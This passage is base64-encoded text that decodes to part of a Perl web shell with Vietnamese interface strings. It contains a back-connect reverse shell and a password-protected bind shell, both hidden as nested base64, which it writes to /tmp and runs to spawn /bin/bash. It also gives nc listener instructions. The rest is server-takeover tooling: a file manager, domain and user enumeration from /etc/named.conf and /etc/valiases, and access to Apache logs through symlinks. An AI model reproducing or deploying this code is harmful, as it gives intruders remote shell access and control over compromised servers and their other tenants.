lzdGVuIGJlZm9yZSBjb25uZWN0IGJhY2shCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+Cgk8YnI+WytdIENsaWVudCBsaXN0ZW4gd2l0aCBjb21tYW5kOiA8cnVuPm5jIC12diAtbCAtcCA8c3BhbiBpZD0iYmEiPjgwPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPgoKCTwvdHI+Cgk8L3RhYmxlPgoKCTxicj48YnI+Cgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CaW5kIFBvcnQ6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4KCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+CgoJIFBhc3N3b3JkOiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIG5hbWU9ImJpbmRwYXNzIiB2YWx1ZT0iVEhJRVVHSUFCVU9OIj48L3RkPgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkJpbmQiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDaHVjIG5hbmcgY2h1YSBkYyB0ZXN0IQoJPGJyPlsrXSBUcnkgY29tbWFuZDogPHJ1bj5uYyAkRU5WeydTRVJWRVJfQUREUid9IDxzcGFuIGlkPSJiaSI+MTQxMjwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4KCgk8L3RyPgoJPC90YWJsZT48YnI+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCYWNrY29ubmVjdCB1c2UgcGVybAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZAp7Cgl1c2UgTUlNRTo6QmFzZTY0OwoJdXNlIFNvY2tldDsJCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7CgkkYmluZHBlcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKRUZTUjBNOVFFRlNSMVk3RFFva2NHOXlkQWs5SUNSQlVrZFdXekJkT3cwS0pIQnliM1J2Q1QwZ1oyVjBjSEp2ZEc5aWVXNWhiV1VvSjNSamNDY3BPdzBLSkZOb1pXeHNDVDBnSWk5aWFXNHZZbUZ6YUNJN0RRcHpiMk5yWlhRb1UwVlNWa1ZTTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktXOXlJR1JwWlNBaWMyOWphMlYwT2lRaElqc05Dbk5sZEhOdlkydHZjSFFvVTBWU1ZrVlNMQ0JUVDB4ZlUwOURTMFZVTENCVFQxOVNSVlZUUlVGRVJGSXNJSEJoWTJzb0ltd2lMQ0F4S1NsdmNpQmthV1VnSW5ObGRITnZZMnR2Y0hRNklDUWhJanNOQ21KcGJtUW9VMFZTVmtWU0xDQnpiMk5yWVdSa2NsOXBiaWdrY0c5eWRDd2dTVTVCUkVSU1gwRk9XU2twYjNJZ1pHbGxJQ0ppYVc1a09pQWtJU0k3RFFwc2FYTjBaVzRvVTBWU1ZrVlNMQ0JUVDAxQldFTlBUazRwQ1FsdmNpQmthV1VnSW14cGMzUmxiam9nSkNFaU93MEtabTl5S0RzZ0pIQmhaR1J5SUQwZ1lXTmpaWEIwS0VOTVNVVk9WQ3dnVTBWU1ZrVlNLVHNnWTJ4dmMyVWdRMHhKUlU1VUtRMEtldzBLQ1c5d1pXNG9VMVJFU1U0c0lDSStKa05NU1VWT1ZDSXBPdzBLQ1c5d1pXNG9VMVJFVDFWVUxDQWlQaVpEVEVsRlRsUWlLVHNOQ2dsdmNHVnVLRk5VUkVWU1Vpd2dJajRtUTB4SlJVNVVJaWs3RFFvSmMzbHpkR1Z0S0NKMWJuTmxkQ0JJU1ZOVVJrbE1SVHNnZFc1elpYUWdVMEZXUlVoSlUxUWdPMlZqYUc4Z0oxc3JYU0JUZVhOMFpXMXBibVp2T2lBbk95QjFibUZ0WlNBdFlUdGxZMmh2TzJWamFHOGdKMXNyWFNCVmMyVnlhVzVtYnpvZ0p6c2dhV1E3WldOb2J6dGxZMmh2SUNkYksxMGdSR2x5WldOMGIzSjVPaUFuT3lCd2QyUTdaV05vYnpzZ1pXTm9ieUFuV3l0ZElGTm9aV3hzT2lBbk95UlRhR1ZzYkNJcE93MEtDV05zYjNObEtGTlVSRWxPS1RzTkNnbGpiRzl6WlNoVFZFUlBWVlFwT3cwS0NXTnNiM05sS0ZOVVJFVlNVaWs3RFFwOURRbz0iOwoKCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307CgkkQ2xpZW50UG9ydCA9IGludCgkaW57J2NsaWVudHBvcnQnfSk7CglpZigkQ2xpZW50UG9ydCBlcSAwKQoJewoJCXJldHVybiAmQmFja0JpbmRGb3JtOwoJfWVsc2lmKCEkQ2xpZW50QWRkciBlcSAiIikKCXsKCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiYWNrcGVybCk7CgkJaWYoLXcgIi90bXAvIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JhY2tjb25uZWN0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiYWNrY29ubmVjdC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgYmFja2Nvbm5lY3QucGwgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX1lbHNlCgl7CgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmluZHBlcmwpOwoJCWlmKC13ICIvdG1wIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JpbmRwb3J0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiaW5kcG9ydC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgYmluZHBvcnQucGwgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgIEFycmF5IExpc3QgRGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJtRGlyKCQpIAp7CglteSAkZGlyID0gc2hpZnQ7CiAgICBpZihvcGVuZGlyKERJUiwkZGlyKSkKCXsKCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkKCQl7CgkJCWlmKCgkZmlsZSBuZSAiLiIpICYmICgkZmlsZSBuZSAiLi4iKSkKCQkJewoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7CgkJCQlpZigtZCAkZmlsZSkKCQkJCXsKCQkJCQkmUm1EaXIoJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXVubGluaygkZmlsZSk7CgkJCQl9CgkJCX0KCQl9CgkJY2xvc2VkaXIoRElSKTsKCX0KCWlmKCFybWRpcigkZGlyKSkKCXsKCQkKCX0KfQpzdWIgRmlsZU93bmVyKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJHVpZCwkZ2lkKSA9IChzdGF0KCRmaWxlKSlbNCw1XTsKCQlpZigkV2luTlQpCgkJewoJCQlyZXR1cm4gIj8/PyI7CgkJfQoJCWVsc2UKCQl7CgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOwoJCQkkZ3JvdXA9Z2V0Z3JnaWQoJGdpZCk7CgkJCXJldHVybiAkbmFtZS4iLyIuJGdyb3VwOwoJCX0KCX0KCXJldHVybiAiPz8/IjsKfQpzdWIgUGFyZW50Rm9sZGVyKCQpCnsKCW15ICRwYXRoID0gc2hpZnQ7CglteSAkQ29tbSA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkIC4uIi4kQ21kU2VwLiRDbWRQd2Q7CgljaG9wKCRwYXRoID0gYCRDb21tYCk7CglyZXR1cm4gJHBhdGg7Cn0Kc3ViIEZpbGVQZXJtcygkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJbXkgJHVyID0gIi0iOwoJbXkgJHV3ID0gIi0iOwoJaWYoLWUgJGZpbGUpCgl7CgkJaWYoJFdpbk5UKQoJCXsKCQkJaWYoLXIgJGZpbGUpeyAkdXIgPSAiciI7IH0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0KCQkJcmV0dXJuICR1ciAuICIgLyAiIC4gJHV3OwoJCX1lbHNlCgkJewoJCQkkbW9kZT0oc3RhdCgkZmlsZSkpWzJdOwoJCQkkcmVzdWx0ID0gc3ByaW50ZigiJTA0byIsICRtb2RlICYgMDc3NzcpOwoJCQlyZXR1cm4gJHJlc3VsdDsKCQl9Cgl9CglyZXR1cm4gIjAwMDAiOwp9CnN1YiBGaWxlTGFzdE1vZGlmaWVkKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJGxhKSA9IChzdGF0KCRmaWxlKSlbOV07CgkJKCRkLCRtLCR5LCRoLCRpKSA9IChsb2NhbHRpbWUoJGxhKSlbMyw0LDUsMiwxXTsKCQkkeSA9ICR5ICsgMTkwMDsKCQlAbW9udGggPSBxdy8xIDIgMyA0IDUgNiA3IDggOSAxMCAxMSAxMi87CgkJJGxtdGltZSA9IHNwcmludGYoIiUwMmQvJXMvJTRkICUwMmQ6JTAyZCIsJGQsJG1vbnRoWyRtXSwkeSwkaCwkaSk7CgkJcmV0dXJuICRsbXRpbWU7Cgl9CglyZXR1cm4gIj8/PyI7Cn0Kc3ViIEZpbGVTaXplKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZiAkZmlsZSkKCXsKCQlyZXR1cm4gLXMgJGZpbGU7Cgl9CglyZXR1cm4gIjAiOwoKfQpzdWIgUGFyc2VGaWxlU2l6ZSgkKQp7CglteSAkc2l6ZSA9IHNoaWZ0OwoJaWYoJHNpemUgPD0gMTAyNCkKCXsKCQlyZXR1cm4gJHNpemUuICIgQiI7Cgl9CgllbHNlCgl7CgkJaWYoJHNpemUgPD0gMTAyNCoxMDI0KSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4wMmYiLCRzaXplIC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIEtCIjsKCQl9CgkJZWxzZSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIE1CIjsKCQl9Cgl9Cn0Kc3ViIHRyaW0oJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZyA9fiBzL15ccysvLzsKCSRzdHJpbmcgPX4gcy9ccyskLy87CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgQWRkU2xhc2hlcygkKQp7CglteSAkc3RyaW5nID0gc2hpZnQ7Cgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgTGlzdERpcgp7CglteSAkcGF0aCA9ICRDdXJyZW50RGlyLiRQYXRoU2VwOwoJJHBhdGg9fiBzL1xcXFwvXFwvZzsKCW15ICRyZXN1bHQgPSAiPGZvcm0gbmFtZT0nZicgYWN0aW9uPSckU2NyaXB0TG9jYXRpb24nPjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+UGF0aDogWyAiLiZBZGRMaW5rRGlyKCJndWkiKS4iIF0gPC9zcGFuPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdDaGFuZ2UnPjwvZm9ybT4iOwoJaWYoLWQgJHBhdGgpCgl7CgkJbXkgQGZuYW1lID0gKCk7CgkJbXkgQGRuYW1lID0gKCk7CgkJaWYob3BlbmRpcihESVIsJHBhdGgpKQoJCXsKCQkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpCgkJCXsKCQkJCSRmPSRwYXRoLiRmaWxlOwoJCQkJaWYoLWQgJGYpCgkJCQl7CgkJCQkJcHVzaChAZG5hbWUsJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXB1c2goQGZuYW1lLCRmaWxlKTsKCQkJCX0KCQkJfQoJCQljbG9zZWRpcihESVIpOwoJCX0KCQlAZm5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZm5hbWU7CgkJQGRuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGRuYW1lOwoJCSRyZXN1bHQgLj0gIjxkaXY+PHRhYmxlIHdpZHRoPSc5MCUnIGNsYXNzPSdsaXN0ZGlyJz4KCgkJPHRyIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiAjM2UzZTNlJz48dGg+RmlsZSBOYW1lPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+RmlsZSBTaXplPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+T3duZXI8L3RoPgoJCTx0aCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz5QZXJtaXNzaW9uPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+TGFzdCBNb2RpZmllZDwvdGg+CgkJPHRoIHN0eWxlPSd3aWR0aDoyNjBweDsnPkFjdGlvbjwvdGg+PC90cj4iOwoJCW15ICRzdHlsZT0ibGluZSI7CgkJbXkgJGk9MDsKCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpCgkJewoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOwoJCQkkZCA9ICZ0cmltKCRkKTsKCQkJJGRpcm5hbWU9JGQ7CgkJCWlmKCRkIGVxICIuLiIpIAoJCQl7CgkJCQkkZCA9ICZQYXJlbnRGb2xkZXIoJHBhdGgpOwoJCQl9CgkJCWVsc2lmKCRkIGVxICIuIikgCgkJCXsKCQkJCSRkID0gJHBhdGg7CgkJCX0KCQkJZWxzZSAKCQkJewoJCQkJJGQgPSAkcGF0aC4kZDsKCQkJfQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+CgoJCQk8dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+PGEgIGhyZWY9Jz9hPWd1aSZkPSIuJGQuIic+WyAiLiRkaXJuYW1lLiIgXTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRkKS4iJywnIi4kZGlybmFtZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oIi4kaS4iLCciLiRkaXJuYW1lLiInKVwiID4iLiZGaWxlUGVybXMoJGQpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZGlybmFtZScsJyIuJkFkZFNsYXNoZXMoJkFkZFNsYXNoZXMoJGQpKS4iJylcIj5SZW5hbWU8L2E+ICB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGRpcjogJGRpcm5hbWUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCWZvcmVhY2ggbXkgJGYgKEBmbmFtZSkKCQl7CgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlPSRmOwoJCQkkZiA9ICRwYXRoLiRmOwoJCQkkdmlldyA9ICI/ZGlyPSIuJHBhdGguIiZ2aWV3PSIuJGY7CgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7Jz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4kcGF0aC4iJmM9ZWRpdCUyMCIuJGZpbGUuIic+Ii4kZmlsZS4iPC9hPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVPd25lcigkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGYpLiInLCciLiRmaWxlLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgkaSwnJGZpbGUnKVwiID4iLiZGaWxlUGVybXMoJGYpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz5FZGl0PC9hPiB8IDxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZmlsZScsJ2YnKVwiPlJlbmFtZTwvYT4gfCA8YSBocmVmPSc/YT1kb3dubG9hZCZvPWdvJmY9Ii4kZi4iJz5Eb3dubG9hZDwvYT4gfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBmaWxlOiAkZmlsZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0kcGF0aCZyZW1vdmU9JGZpbGUnPlJlbW92ZTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsKCQkJJGkrKzsKCQl9CgkJJHJlc3VsdCAuPSAiPC90YWJsZT48L2Rpdj4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRyeSB0byBWaWV3IExpc3QgVXNlcgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBWaWV3RG9tYWluVXNlcgp7CglvcGVuIChkb21haW5zLCAnL2V0Yy9uYW1lZC5jb25mJykgb3IgJGVycj0xOwoJbXkgQGNuenMgPSA8ZG9tYWlucz47CgljbG9zZSBkMG1haW5zOwoJbXkgJHN0eWxlPSJsaW5lIjsKCW15ICRyZXN1bHQ9IjxoNT48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+SG9hbmcgU2EgLSBUcnVvbmcgU2E8L2ZvbnQ+PC9oNT4iOwoJaWYgKCRlcnIpCgl7CgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJzx0YWJsZT48dHI+PHRoPkRvbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOwoJfQoJZm9yZWFjaCBteSAkb25lIChAY256cykKCXsKCQlpZigkb25lID1+IG0vLio/em9uZSAiKC4qPykiIHsvKQoJCXsJCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlbmFtZT0gIi9ldGMvdmFsaWFzZXMvIi4kb25lOwoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7CgkJCSRyZXN1bHQgLj0gJzx0ciBjbGFzcz0iJHN0eWxlIiB3aWR0aD01MCU+PHRkPicuJG9uZS4nIDwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7CgkJfQoJfQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFZpZXcgTG9nCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFZpZXdMb2cKewoJaWYoJFdpbk5UKQoJewoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5Eb24ndCBydW4gb24gV2luZG93czwvZm9udD48L2gyPiI7Cgl9CglteSAkcmVzdWx0PSI8dGFibGU+PHRyPjx0aD5QYXRoIExvZzwvdGg+PHRoPlN1Ym1pdDwvdGg+PC90cj4iOwoJbXkgQHBhdGhsb2c9KAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywKCQkJCScvdmFyL2xvZy9odHRwZC9lcnJvcl9sb2cnLAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvYWNjZXNzX2xvZycKCQkJCSk7CglteSAkaT0wOwoJbXkgJHBlcm1zOwoJbXkgJHNsOwoJZm9yZWFjaCBteSAkbG9nIChAcGF0aGxvZykKCXsKCQlpZigtdyAkbG9nKQoJCXsKCQkJJHBlcm1zPSJPSyI7CgkJfWVsc2UKCQl7CgkJCWNob3AoJHNsID0gYGxuIC1zICRsb2cgZXJyb3JfbG9nXyRpYCk7CgkJCWlmKCZ0cmltKCRscykgZXEgIiIpCgkJCXsKCQkJCWlmKC1yICRscykKCQkJCXsKCQkJCQkkcGVybXM9Ik9LIjsKCQkJCQkkbG9nPSJlcnJvcl9sb2dfIi4kaTsKCQkJCX0KCQkJfWVsc2UKCQkJewoJCQkJJHBlcm1zPSI8Zm9udCBzdHlsZT0nY29sb3I6IHJlZDsnPkNhbmNlbDxmb250PiI7CgkJCX0KCQl9CgkJJHJlc3VsdCAuPTw8RU5EOwoJCTx0cj4KCgkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdsb2dfJGknKS52YWx1ZT0nbGVzcyAnICsgdGhpcy52YWx1ZTsiIHZhbHVlPSIkbG9nIiBzaXplPSc1MCcvPjwvdGQ+CgkJCTx0ZD48aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVHJ5IiAvPjwvdGQ+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJsb2dfJGkiIG5hbWU9ImMiIHZhbHVlPSJsZXNzICRsb2ciLz4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiIC8+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciIgLz4KCQkJPC9mb3JtPgoJCQk8dGQ+JHBlcm1zPC90ZD4KCgkJPC90cj4KRU5ECgkJJGkrKzsKCX0KCSRyZXN1bHQgLj